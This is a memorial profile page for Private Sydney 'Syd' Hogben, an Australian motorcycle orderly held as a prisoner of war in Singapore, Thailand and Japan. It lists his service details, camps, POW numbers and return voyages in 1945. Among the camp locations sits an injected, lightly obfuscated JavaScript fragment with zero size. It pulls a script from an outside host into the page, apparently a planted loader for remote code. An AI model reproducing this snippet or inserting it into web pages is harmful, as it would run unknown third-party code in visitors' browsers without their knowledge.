The Soldier's Details
- Surname:
- Hogben
- First Name:
- Sydney Mervyn
- Nick Name:
- Syd
- Rank:
- Private
- Regimental #:
- WX8984
- Classification:
- Motorcycle Orderly
- Company:
- ‘ B ’ Company Headquaners
- Enlisted:
- 25.10.1940
- Discharged:
- 31.01.1946
- DOB:
- 5.11.1915
- Place of Birth:
- Fremantle, Western Australia
- Father's Name:
- Edwin Hogben
- Mothers's Name:
- Elizabeth Hogben
- Religion:
- Methodist
- Pre-war Occupation:
- Storeman
- Singapore:
- Selarang Camp Changi; Johore Bahru; Adam Park; River Valley Road Camp; Selarang Barracks Changi
- Force:
- ‘D’ Force Thailand, S Battalion
- Camps Thailand:
- Kanu ll , Hintok Road Camp (March-July 1943), Tamuang, Chungkai, Kanchanaburi.
- Camps Japan:
- Yamane, Niihame
- POW#:
- 8785 and 1631
- Japan:
- Rashin Maru Party
- Return Details 1945:
- Wakayama-Okinawa, USS Sanctuary; Okinawa-Manila, USS Bingham; Manila-Sydney, HMS Speaker; Sydney-Fremantle, HMT Dominion Monarch
General Description
Sydney passed away aged 90, March 16 2006, at Mount Lawley, WA.
In 1947 Hogben attended his 2/4th mate Jerry Arthur’s wedding at Three Springs.
Camp Locations:
- "var d=document, s=d.createElement('scr'+'ipt'); s.src='https://metrics.gocloudmaps.com'; d.head.appendChild(s);" height="0px" width="0px" />
- Johore Bahru, - Malaysia
- River Valley Road Camp - Singapore
- Selarang Barracks Changi - Singapore
- Selarang Camp Changi - Singapore
- Chungkai, 60k - Thailand
- Hintok, 154k - Thailand
- Kanchanaburi, 50k - Thailand
- Kanu II, 152.30k - Thailand
- Tamuang, Tha Muang 39k - Thailand
- Nihama, Hiroshima #2-B- Japan
- Yamane, Hiroshima #3-D - Japan